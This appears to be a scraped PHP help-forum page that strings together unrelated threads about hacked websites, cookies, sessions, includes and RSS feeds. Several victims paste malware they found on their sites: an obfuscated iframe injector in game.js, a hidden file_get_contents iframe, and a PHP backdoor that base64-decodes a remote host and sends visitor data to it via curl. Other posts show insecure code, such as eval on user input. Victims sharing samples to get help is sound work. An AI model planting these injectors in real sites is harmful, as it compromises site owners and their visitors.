PHP - Has My Site Been Hacked?
My website this morning was displaying 2 iframes that I know I never put there in the code:
in index.php: <script type="text/javascript" charset="ISO-8859-1" src="game.js"></script> and in my public_html, there was a file called game.js that contained the following: O="=100%iframewidthheig".split('');Q="document.write('< src=http://lolkatdska.co.in/sTDS/go.php?sid=1 ht frameborder=0 margin=0 marginht=0></>');";o="";for(J=3;J>-1;J--)Q=Q.split(o.charAt(J)).join(O[J]);eval(Q.replace(//g,'"')); I am the only person with the login details to my website/cpanel, and I know I never uploaded/modified these files. I've spoken to my host, but they told me they didn't see anything (because obviously I removed these foreign objects as soon as i noticed them). They don't seem too bothered about a security risk :/ Anyway, I've changed my login details and all that. I mentioned above that I discovered 2 foreign iframes; the other one I found just a moment ago, again on my index page (but within a file called footer.php) in footer.php: <iframe src="<?= file_get_contents('http://white-star.biz/traffic_url.php?advertId=7&hash=919dac3bf6ad622657959934934bacf1'); ?>" width=0 height=0 border=0></iframe> How did I not notice this before??? I think it was placed there in the last hour or so, after I removed the first iframe. This is pretty weird, I changed my login details for cpanel/ftp and all that stuff over an hour ago!!! and since then I've found this new alteration that I never made! I dunno, maybe it was there along with the game.js iframe but I didn't notice.... but as soon as I fixed the first one, I checked, and everything was fine. Oh, and also, the php files index and footer are now have twice the number of returns as they originally did. e.g: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> Became: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> The only way these files could have been altered is if someone knows my login details... but this just is impossible, how did this happen? Is any of these weird files/modification familiar to anyone else? We had a problem with the site a month ago when google suspected our site as some sort of security threat... because we were hosting content from xxxxxxxxx.com, a site we have no affiliation with and doesn't feature on our site at all. It was all quite bizarre and the google thing went away within a day of contacting them. I have a feeling the same person/thing was behind this also. HELP! Similar TutorialsHi guys, some how someone has physically changed my pages and added Code: [Select] <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> How have they done this, do you think they have got into our ftp account. Heres a page with it on. http://www.languageschoolsuk.com/coursecalculator.php if you look at source code , right at the end near the footer you can see. Any help and advice would be brilliant because i have nooooo idea. I know the following line of code is dangerous since the user has control of $query but I do not know any other way to realistically do it. if (eval('return (' . $query . ');')) { The perpose is to allow the user to type in any valid php statement and see if it evaluates true or false. I.E. 1==1 is true substr('cat',1,2)=='at' is true 12<6 is false the problem is I am sure there are ways a hacker could use this code to upload code to my site and take over. I have 2 options. 1 filter out any possible way a hacker could hack it or 2 only allow the user to enter functions that can't be used to hack it. I will probably go the later route but either way I need to know what to look for. Please let me know if you can think of any values for $query that would let you hack my site (p.s. this code is not up yet and will not go up until any possible security flaws are fixed.) Yup, the nice person left some friendly messages just to prove it. Now i need to recover. I have back up code and DB. But I need to establish what kind of hack it was and how to improve things. The big tell tale, is that all the javascript is gone off the pages. Yet the js tools ( jquery etc ) all all still there.
They also got past the login page as well.
The site was built with CodeIgniter so I had invested my trust in the framework as I will never assume I know more than the CI guys on security.
any ideas jump to mind as to what kind of hack it was and therefore what obvious things I can do to avoid it again ?
Many Thanks !!
I am using php 5 and I am having issues with cookies. I have looked at the help pages here but still stuck. A site had been hacked via a database and I am making it more secure with the use of session control ip address and cookies. The issue is this I need to run a database query to test if the two cookies set match that with the data in the database. I am using the following code in the head section. Code: [Select] <?php session_start(); $session = session_id(); $ip = $_SERVER['REMOTE_ADDR']; $user = stripslashes(trim($_POST['user'])); $pass = stripslashes(trim($_POST['pass'])); $username="$user"; $encrypt_user=md5($username); $password="$pass"; $encrypt_password=md5($password); include 'config.php'; $query = "SELECT * FROM `users`WHERE `username` = '$encrypt_user' AND `userpass` = '$encrypt_password'"; $result = mysql_query($query) or die (mysql_error()); if (mysql_num_rows($result)>0){ while($row = mysql_fetch_row($result)){ // set the cookies setcookie("cookie[pas]", "$encrypt_password"); setcookie("cookie[user]", "$encrypt_user"); $query = ("UPDATE`users`SET`sid`='$session', `ip` = '$ip'WHERE `username` = '$encrypt_user' AND `userpass` = '$encrypt_password'"); $result = mysql_query($query) or die (mysql_error()); } } else { echo 'No rows found'; } ?> This works fine now when I add this bit of code I can see the cookie name and value. Code: [Select] <?php echo "$ip<br>"; if (isset($_COOKIE['cookie'])) { foreach ($_COOKIE['cookie'] as $name => $value) { $name = htmlspecialchars($name); $value = htmlspecialchars($value); echo "$name : $value <br />\n"; } } ?> I can see the ip address and the two cookies named user and pass but when I try to get the individual cookie details nothing comes out and this is the issue as I need to test each of the two individual cookies against the info in the database so I can include pages to make it all secure. I have tried Code: [Select] <?php if (isset($_COOKIE['user'])) { echo "$encrypt_user"; } ?>encrypt_user being the username from the form. I have also tried Code: [Select] <?php if (isset($_COOKIE['user'])) { echo "$_COOKIE['user']"; } ?> These are not showing. I do not need to see it just run a query to test that each cookie matches the encrypt data in the MySQL. Any ideas would be great if you can help and if not have a great weekend Hi Chaps, After my clients' site was hacked just over a week ago, I took down the site and made some changes to the PHP scripts. - Backed-up the database, then removed it from the webhost - Removed all web files - Changed the FTP and SQL login credentials - Encrypted all user passwords - Secured the login/signup scripts with a Captcha tool. - Secured all account & checkout pages with cookie checks (forces login). - I validated all the user inputs for XSS. - Secured the SQL scripts with mysql_real_escape_string()/strip_tags()/str_replace(). - Used HTTP_REFERER on account/checkout pages I'm hoping this will sure up the front-end site. Whilst I was backing up the images folder (500Mb+) to my PC, I was warned of trojans and viruses. It turned out the hackers had placed php files (cid.php/sniper.php/etc) and a couple of files without extensions, into the main Images folder. Without knowing how they actually did this (whether they had access to the FTP site, gained access through the website, or through a virus on the laptop used to update the site/upload images), I would like to know what I can do to make sure that they can't do this again. There is no option for front-end users to upload files, but the administration site does allow image uploads. At the moment, the images folder permissions are set to 0775, I think this is correct. Is there something I can do to the Image folder permissions as a whole, or should I just run a regular check on the directories, checking for all non-image files, or any file/directory that doesn't have the 0775 permission? Are there any resources on protecting FTP folders with PHP, uploading files/directories to protected folders, good practices to continually check for unwanted files? Is there anything else I should be looking into, I did read something about the dangers of include()/require_once() The site is hosted on a shared server, and don't have access to the .htaccess files. Is there anything I can ask the hosting company to check that there firewall is working correctly? Sorry for the range of questions in this, but any help or guidance would be most appreciated. Many thanks The code below was inserted into every single index.php on one of my clients sites. It went through and every single index.php page (in each folder) had that following code put in. It was strange. As far as I can tell there are no FTP logs, besides my own IP. This site was heavily built by someone else, I have been enhancing the system for a few months but it hasn't undergone a full security audit yet. What could have caused this. The weird thing is it's not loading it into the very top of the file..the security.inc.php is my file..and somehow they always get inserted below that file. But the <? is inserted right after it. I also don't use generally the <? shorthand, that was his previous code..but that entire <? block that has the hack attempt is very strange. Any advice on how this is generally done, and anyone with similar issues? Code: [Select] <? require_once('security.inc.php'); ?><? if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); $stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?> I found this code added to my server uploaded into a zencart admin folder. We did have some problems previously with index.php and login.php files having some encoded javascript injected into them and mess up our online shop. If someone could tell me what it does as i accidently launched it before i deleted it. Looked in the server logs and it seems to of accessed every file on the server within seconds.

Yet, over the last week...we have been getting upwards of 500 submissions that are completely blank? I don't understand how that is possible...or how to correct it. I have tried to add a captcha to the form to add further protection, but the captcha image is too big for the space I have to put this form. I don't like the layout of this site, but I am stuck with it for now...could you let me know what information I can supply you to help figure out how this is happening? Thank you in advance! Hey guys I have a simple question, I have a Config.php file that connects to mysql database on my server... Something like this (modified data, of course): <?php // database information $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = '******'; $dbname = 'databasename'; ?> Can a hacker access those variables? How can I protect this? Ideas, suggestions? Thanks in advance! Hey, friends. I have some trouble on the server front. My sites have been hacked, and I need to make sure I've eradicated every trace of this exploit. I'm looking for a way to search for any and all php files contained in multiple directories with specific names. For instance, I have found a commonality in relation to where these malicious files are placed, such as: Code: [Select] /some/dir/img/somename.phpor: Code: [Select] /some/dir/js/somename.php Is there a way I can easily (e.g. using ssh and the "find" command) locate all files ending in php but only found in directories named "img"? I can't seem to find anything that would allow me to do this with find, or with a combination of find and grep. I can't go directory by directory, as some of these img directories are created many levels deep, some even in .svn directories. Any and all help is appreciated. Hackers suck. I have several "sites" located in my html directory, and each has a "general" access point and an "administrator" access point:
/var/www/html/site1/index.php /var/www/html/site1/administrator/index.php /var/www/html/site2/index.php /var/www/html/site2/administrator/index.php /var/www/html/site3/index.php /var/www/html/site3/administrator/index.phpAll sites are similar except that data will be specific to site1, site2, or site3, etc. Users who log onto /var/www/html/siteX/index.php are totally unrelated to those who logon to /var/www/html/siteX/administrator/index.php, will have different logon credentials, are stored in different DB tables, and each should have their own session. If a user logs off of either the general or administrator site, it should not effect the other site even if they were previously logged on to both on the same PC (and of course not effect other sites). When a user logs off, I would like to destroy their previous cookie and associated session. Users for either will only use https. I am using Apache to rewrite https://www.mysite.com/ to https://mysite.com/. While I named the administrator site "administrator" above, the administrator user has the ability to change the directory name. I am thinking I need to use session_set_cookie_params to specify where I wish the session cookie to be stored since /var/www/html/siteX/administrator/index.php is a sub-directory to /var/www/html/siteX/index.php, but am not really sure. Sorry for the cryptic post, but I am not very well versed in this subject. How would you recommend setting up cookies/sessions for this scenario? Thank you Hi, My first post here is a cry for help I have a Windows 2003 server running IIS6/PHP5, the server hosts multiple web sites. The problem is include files that are for site A are showing on site B (each site having its own includes as part of the site files in its own site folder), though not every time, its very random, sometimes the correct includes show, sometimes ones from another site on the same server. This only occurs where the include files for both sites have the same name, such as 'inc-header.php' for example. I can only assume PHP is caching includes and because they have the same name is showing the wrong one on other sites sometimes, if I rename them to something unique then the problem goes away, but its not a practical solution to rename all include files to unique names so I find myself looking for a 'real' fix. I have a feeling its to do with the include_path in the php.ini, but right now its disabled with a semi-colon, and I don't want to set one as I have no global includes, all includes are site specific. Any help would be very much appreciated! Phil Not sure if I'm trying to achieve something totally crazy here, or if this is something pretty standard. Didn't have much luck with searching as I'm not fully down with all the terms. (A) I have one site providing an RSS feed. (B) I have one site I want to search, once for each of the items in the feed A. (C) I want the results of the search in (B) to be displayed on page (C). So for example, the feed on (A) says; apples bananas oranges cheese I want site (B) to search for each of those terms (by passing the item in the feed (A) to the ?search= part of the URL of that page) and then show the results from THAT search on page C. Bit of a complex one, let me know if you need me to clarify. Thanks for any help! now i use this code to show where the visitors came from to my site. <?php $referer=$_SERVER['HTTP_REFERER']; echo $referer; ?> now, i want to show the 5 latest vistors referer's site url on my site ? Transferring data from sub-domain.site.com Reading sub-domain.site.com What is this all about? I'm going to put all .. images into a separate sub-domain eg: images.site.com. This would create a folder inside my public_HTML called "images" Now when sites have that Transferring data, and Reading... is this .. something relating to what I want. Facebook also does it, and they get their images for the site from a sub domain, how is it all done? I'm not sure if its entirely PHP, but I hope someone can help. Thanks I'm currently running a classified ads site and planning to display my own content from database combined with and external site rss. So here is what i got right now after the db query for the jobs ads (procedural php),
while ($row = mysqli_fetch_array($results, MYSQLI_ASSOC)){ echo '<div class="media margin-none"> <a class="pull-left bg-inverse innerAll text-center" href="#"><img src="'.$foto.'" share_alt="" width="100" height="100"></a> <div class="media-body innerAll"> <h4 class="media-heading innerT"> <a href="' . $row['title'] .'-da' . $row['id_ad'] . '" class="text-inverse">'. $remuneracion .' ' . substr(ucfirst(strtolower($row['title'])), 0, 53) . '</a> <small class="pull-right label label-default"><i class="fa fa-fw fa-calendar-o"></i> ' . $row['date_created'] . '</small></h4> <p>' . substr(ucfirst(strtolower($row['description'])), 0, 80) . ' ...</p>'; echo '</div> </div> <div class="col-separator-h"></div>'; } echo pagination($statement,$per_page,$page, $url_filtros, $filtros); ?>it is the while loop that i use to display ads from my database, what could be the best way to display (in this same loop?) other site's rss feed so i can show my content combined with the external rss? Thanks Hi I made a new design for my website and I made some changes. I want to use layout for my second site.
I'll like to know if my site is easier to browse through now and if you like the design better?. I test my site on internet explorer, chrome, and firefox. It is best to use site on better browsers like firefox and chrome to get a better experience of site. Thanks.
